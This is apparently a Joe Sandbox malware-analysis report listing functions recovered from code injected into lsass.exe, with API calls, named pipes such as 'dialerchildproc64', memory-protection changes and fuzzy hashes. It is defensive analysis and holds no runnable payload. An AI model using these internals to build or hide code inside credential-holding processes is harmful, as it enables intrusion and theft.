FlsSetValue.KERNEL32(?,?,?,000002D6F1520A6B,?,?,?,000002D6F152045C,?,?,?,000002D6F151C84F), ref: 000002D6F151CEBC
SetLastError.KERNEL32 ref: 000002D6F151CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000002D6F1520A6B,?,?,?,000002D6F152045C,?,?,?,000002D6F151C84F), ref: 000002D6F151CF0D
FlsSetValue.KERNEL32(?,?,00000001,000002D6F151ECCC,?,?,?,?,000002D6F151BF9F,?,?,?,?,?,000002D6F1517AB0), ref: 000002D6F151CF2C

Part of subcall function 000002D6F151D6CC: HeapAlloc.KERNEL32 ref: 000002D6F151D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002D6F1520A6B,?,?,?,000002D6F152045C,?,?,?,000002D6F151C84F), ref: 000002D6F151CF54

Part of subcall function 000002D6F151D744: HeapFree.KERNEL32 ref: 000002D6F151D75A
Part of subcall function 000002D6F151D744: GetLastError.KERNEL32 ref: 000002D6F151D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002D6F1520A6B,?,?,?,000002D6F152045C,?,?,?,000002D6F151C84F), ref: 000002D6F151CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002D6F1520A6B,?,?,?,000002D6F152045C,?,?,?,000002D6F151C84F), ref: 000002D6F151CF76

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: cbe95e8add907aa0b2c73cf7f4231efe5140574644f478dc5db001f93a5baefd
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: C4410EE0301E444EFE6BAF35755E36962429B447F0F240B27A93F6AED6DE2DDC418600

Function 000002D6F1512244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002D6F1512259
GetCurrentProcessId.KERNEL32 ref: 000002D6F1512263

Part of subcall function 000002D6F1511934: OpenProcess.KERNEL32 ref: 000002D6F1511952
Part of subcall function 000002D6F1511934: IsWow64Process.KERNEL32 ref: 000002D6F1511968
Part of subcall function 000002D6F1511934: CloseHandle.KERNEL32 ref: 000002D6F1511983

CreateFileW.KERNEL32 ref: 000002D6F15122BC
WriteFile.KERNEL32 ref: 000002D6F15122E4
ReadFile.KERNEL32 ref: 000002D6F1512303
CloseHandle.KERNEL32 ref: 000002D6F151230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 000002D6F1512293
\\.\pipe\dialerchildproc64, xrefs: 000002D6F151228C

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 16cc91b0a522ba52fd30a106300581a7bfe1bf7e397ef6e488c8d9df07b3eb6a
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 44212CB6614B8086FB108B25F44C76A77A1F789BE5F504216EA5E03FA8DF7CC949CB00

Function 000002D6F151A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002D6F151A5A1

Part of subcall function 000002D6F151B414: __GetUnwindTryBlock.LIBCMT ref: 000002D6F151B457
Part of subcall function 000002D6F151B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002D6F151B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002D6F151A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002D6F151A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002D6F151A9DA

Strings

csm, xrefs: 000002D6F151A622
csm, xrefs: 000002D6F151A69C
csm, xrefs: 000002D6F151A5BB

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: c723f1f196541d97861d438692a693aba2ea927f234d4d4577a4b0ac93f6314a
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: C6E15DB6604B808AEB629FA5E44C39D77A0F745BD8F100517EE8E67F99CB38D991C700

Function 000002D6F14E9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002D6F14E99A1

Part of subcall function 000002D6F14EA814: __GetUnwindTryBlock.LIBCMT ref: 000002D6F14EA857
Part of subcall function 000002D6F14EA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002D6F14EA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002D6F14E9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002D6F14E9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002D6F14E9DDA

Strings

csm, xrefs: 000002D6F14E9A9C
csm, xrefs: 000002D6F14E9A22
csm, xrefs: 000002D6F14E99BB

Memory Dump Source

Source File: 0000003E.00000002.3440487740.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f14e0000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: d823906c8357baff7e49bf9f9c1525c5136429e0f71f4035b6608ff5472b74b6
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 11E16C72604B808EEB60DF65E49C39D77A0F795BD8F100516EE8A97F99CB38CA91C700

Function 000002D6F151F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000002D6F151F510
GetProcAddress.KERNEL32 ref: 000002D6F151F51C

Strings

ext-ms-, xrefs: 000002D6F151F46D
api-ms-, xrefs: 000002D6F151F45A

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 261ecf9bf2a1f0678fa278aa22b30c90f33c111913abcd05092592ff9b1f8fec
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: B44192A2311E409AEA1BCF26B84C7566395B749BE0F5941279D1FA7F84EE3CCC498350

Function 000002D6F151104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002D6F15110B1
RegEnumValueW.ADVAPI32 ref: 000002D6F1511117
GetProcessHeap.KERNEL32 ref: 000002D6F151115A
HeapAlloc.KERNEL32 ref: 000002D6F1511168
GetProcessHeap.KERNEL32 ref: 000002D6F1511185
HeapFree.KERNEL32 ref: 000002D6F1511193

Strings

d, xrefs: 000002D6F15110D6

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 7c308a324f3a3b915ae5c740d95f6965976605312a1237647059209b5cbc419f
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: AC413D73614F84CAEB61CF21E44879AB7A1F388B98F54811ADA8A17B58DF3CD945CB40

Function 000002D6F151D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000002D6F151C7DE,?,?,?,?,?,?,?,?,000002D6F151CF9D,?,?,00000001), ref: 000002D6F151D087
FlsSetValue.KERNEL32(?,?,?,000002D6F151C7DE,?,?,?,?,?,?,?,?,000002D6F151CF9D,?,?,00000001), ref: 000002D6F151D0A6
FlsSetValue.KERNEL32(?,?,?,000002D6F151C7DE,?,?,?,?,?,?,?,?,000002D6F151CF9D,?,?,00000001), ref: 000002D6F151D0CE
FlsSetValue.KERNEL32(?,?,?,000002D6F151C7DE,?,?,?,?,?,?,?,?,000002D6F151CF9D,?,?,00000001), ref: 000002D6F151D0DF
FlsSetValue.KERNEL32(?,?,?,000002D6F151C7DE,?,?,?,?,?,?,?,?,000002D6F151CF9D,?,?,00000001), ref: 000002D6F151D0F0

Strings

1%, xrefs: 000002D6F151D0CE
Y%, xrefs: 000002D6F151D0A6

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 2480a359072ec50eb541e18d4b91d9545f280b7cfca78c1f54feae84ed9f0741
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: A61103E0705E444AFA6A5F36755E36962429B447F0F144727983F67EDAEE2CDC428600

Function 000002D6F1517510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002D6F1517538
__scrt_acquire_startup_lock.LIBCMT ref: 000002D6F151758A
_RTC_Initialize.LIBCMT ref: 000002D6F15175B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002D6F15175DE
__scrt_release_startup_lock.LIBCMT ref: 000002D6F1517609

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 9e9a13fecbd3ee6dd4b9af7d8544c3df26673650e91134e0a1763e142b039acf
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 8A81B0E1600E418EFB56AF6DB84D3992691A7857C0F544827AA0F67F97EB7CCC468700

Function 000002D6F1519DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000002D6F1519E49
GetLastError.KERNEL32 ref: 000002D6F1519E57
LoadLibraryExW.KERNEL32 ref: 000002D6F1519E81
FreeLibrary.KERNEL32 ref: 000002D6F1519EC7
GetProcAddress.KERNEL32 ref: 000002D6F1519ED3

Strings

api-ms-, xrefs: 000002D6F1519E69

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 1b9a7946070453fa793877a5e81080cf6b3e7f40ad096b1fe8965e9392f62bd4
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: E331A3A2212E40EDEE17DF42F41C7552294B748BE4F590A269D2F1BB94EF3DC8858310

Function 000002D6F1523DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002D6F1523DE5
GetLastError.KERNEL32 ref: 000002D6F1523DF1
CloseHandle.KERNEL32 ref: 000002D6F1523E09
CreateFileW.KERNEL32 ref: 000002D6F1523E34
WriteConsoleW.KERNEL32 ref: 000002D6F1523E53

Strings

CONOUT$, xrefs: 000002D6F1523E15

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: f7805de5885bb23c4ed2acbf2a3bac675694138274e2d29da4d1e0af9514ac00
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: D8112BA2210FC08AE7908B56F85D71966A0F788FE4F144226EE5F87B94DB7CC9158744

Function 000002D6F1513790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002D6F151379E
GetCurrentProcess.KERNEL32 ref: 000002D6F15137CC
VirtualProtectEx.KERNEL32 ref: 000002D6F15137EE
GetCurrentProcess.KERNEL32 ref: 000002D6F1513809
VirtualProtectEx.KERNEL32 ref: 000002D6F151382A

Strings

wr, xrefs: 000002D6F15137FF

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 56a1fc91981ff5b9860e83c331195b973d21dc503a25c2b603b9cee17e6af388
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: FD1157AA705B81CAEF559F21F41C66962B0FB88BD5F44042ADE8E07B94EF3DCA05C704

Function 000002D6F1515B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002D6F1515B6B
GetThreadContext.KERNEL32 ref: 000002D6F1515CD5

Part of subcall function 000002D6F1515960: GetCurrentThreadId.KERNEL32 ref: 000002D6F1515964

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 48f46886f9a4c9f0af87d4b559936913019cc1f1eed6d2fcc966534f28762692
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 76D187B6214F8889DA719F1AF49835A77A0F389BC4F104216EA8E57BA5DF7CC941CF40

Function 000002D6F1512F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002D6F1512F27
HeapAlloc.KERNEL32 ref: 000002D6F1512F3A
StrCmpNIW.SHLWAPI ref: 000002D6F1512FAF
GetProcessHeap.KERNEL32 ref: 000002D6F1513015
HeapFree.KERNEL32 ref: 000002D6F1513023

Strings

dialer, xrefs: 000002D6F1512FA8

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 6f7c6b014d4bd7126e3bbbff313cacc6244a2be32cd63f79b011c0dee58239f0
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: F631CDA2301F918AEB56CF16F54C72A67A0FB44BC0F1880269E4E57F55EF3CD8A18300

Function 000002D6F15114A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 70memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002D6F15114C5
HeapFree.KERNEL32 ref: 000002D6F15114D4
GetProcessHeap.KERNEL32 ref: 000002D6F15114E1
HeapFree.KERNEL32 ref: 000002D6F15114F0
GetProcessHeap.KERNEL32 ref: 000002D6F1511500

Strings

C:\Windows\system32\lsass.exe, xrefs: 000002D6F15261A9, 000002D6F15261B1

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Heap$Process$Free
String ID: C:\Windows\system32\lsass.exe
API String ID: 3168794593-3553486595
Opcode ID: 335002606d0c58216c4b7b8c214cf2e956f7ef49abbb5e195d674a66fc258290
Instruction ID: 4c3fb5dbda590ede340f70e239d951b1946e93fc28bd49ed613bd9f4bb13803d
Opcode Fuzzy Hash: 335002606d0c58216c4b7b8c214cf2e956f7ef49abbb5e195d674a66fc258290
Instruction Fuzzy Hash: 77219EEB509ED08EF651DF25B89D29D27A0F749BC4F194017DF4E93A43DA2DAC048700

Function 000002D6F151CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002D6F151CFAF
FlsSetValue.KERNEL32(?,?,?,000002D6F151D6B5,?,?,?,?,000002D6F151D778), ref: 000002D6F151CFE5
FlsSetValue.KERNEL32(?,?,?,000002D6F151D6B5,?,?,?,?,000002D6F151D778), ref: 000002D6F151D012
FlsSetValue.KERNEL32(?,?,?,000002D6F151D6B5,?,?,?,?,000002D6F151D778), ref: 000002D6F151D023
FlsSetValue.KERNEL32(?,?,?,000002D6F151D6B5,?,?,?,?,000002D6F151D778), ref: 000002D6F151D034
SetLastError.KERNEL32 ref: 000002D6F151D04F

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 64ae360e53322a3fe6ae1786423e02a03aa622958712b9455162e794dcab319a
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 931157E0301E804AFA6A9F35765D73952529B447F0F144717983F67FD6DE6DCC428600

Function 000002D6F151199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002D6F15119C2
K32GetModuleFileNameExW.KERNEL32 ref: 000002D6F15119E0
PathFindFileNameW.SHLWAPI ref: 000002D6F15119EF
lstrlenW.KERNEL32 ref: 000002D6F15119FB
StrCpyW.SHLWAPI ref: 000002D6F1511A0E
CloseHandle.KERNEL32 ref: 000002D6F1511A1C

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: cff459d1bd899cdfd44676a5a381a09abba527aeb6cc39614b6ef60cc1fcaaaf
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 070129B2300E808AEB54DB62B89C75967A5F788BC4F984036DE4E53B55DF3CC989C740

Function 000002D6F15136C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002D6F15136E4
GetCurrentProcess.KERNEL32 ref: 000002D6F15136F2
VirtualProtectEx.KERNEL32 ref: 000002D6F1513714
GetCurrentProcess.KERNEL32 ref: 000002D6F1513732
VirtualProtectEx.KERNEL32 ref: 000002D6F1513753
TerminateThread.KERNEL32 ref: 000002D6F1513762

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 4cb24c3c5e9fa141b5df1c6a7c4a8c5dc67f34b77b6b13790439d7932f787d30
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 320129A6611F808AFF659B22F81C71963B0BB49BC6F04042ACE4E07B64EF3DC919C704

Function 000002D6F1518FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002D6F1519013
_IsNonwritableInCurrentImage.LIBCMT ref: 000002D6F15190A8
RtlUnwindEx.NTDLL ref: 000002D6F15190F7

Strings

f, xrefs: 000002D6F1519026
csm, xrefs: 000002D6F151908E

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: 3b0e631b75504db4463a701d796cd14c903cf2e77cba2ed9bb482b335b50820a
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 7C518AB2601A408EEB16DF15F85CB5937A6F384BC8F55852ADE0B67B88DB39DD81C700

Function 000002D6F1513044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000002D6F1513066
StrCpyW.SHLWAPI ref: 000002D6F1513076
StrCatW.SHLWAPI ref: 000002D6F1513082
PathCombineW.SHLWAPI ref: 000002D6F1513090

Strings

\\.\pipe\, xrefs: 000002D6F151305C

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 3e4723502f59a8f1e07ded70428830228723a6d762285bf7447ffc8a7d9f86c1
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 16F01CA6714FC486EA548F57B91C11966A1BB58FE0F089132EE4F57F18DF3CC8558700

Function 000002D6F151BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002D6F151BCBD
GetProcAddress.KERNEL32 ref: 000002D6F151BCD3
FreeLibrary.KERNEL32 ref: 000002D6F151BCFA

Strings

CorExitProcess, xrefs: 000002D6F151BCCC
mscoree.dll, xrefs: 000002D6F151BCB4

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 23a4a7cfba681eafd7acd153de910ccfab7048bd4207ecad1fa1577b34c1d807
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 55F06DA2211E8585EB248F24F84C3696330EB99BE5F94121ACE6F46AE4CF2CC9488340

Function 000002D6F15150D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002D6F1515156

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 42075970a9a9322463efdc1a56445cb29a1d8840ca77651260a4224c7a6fbde6
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 7302B576219B848AEB61CF55F49835AB7A1F3857D4F100016EA8E97BA9DB7CC884CF00

Function 000002D6F1515710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002D6F1515726

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 3ee684a2051b0626537bb21df19f72d7656a23c79b275dde9432cc418d5cd82d
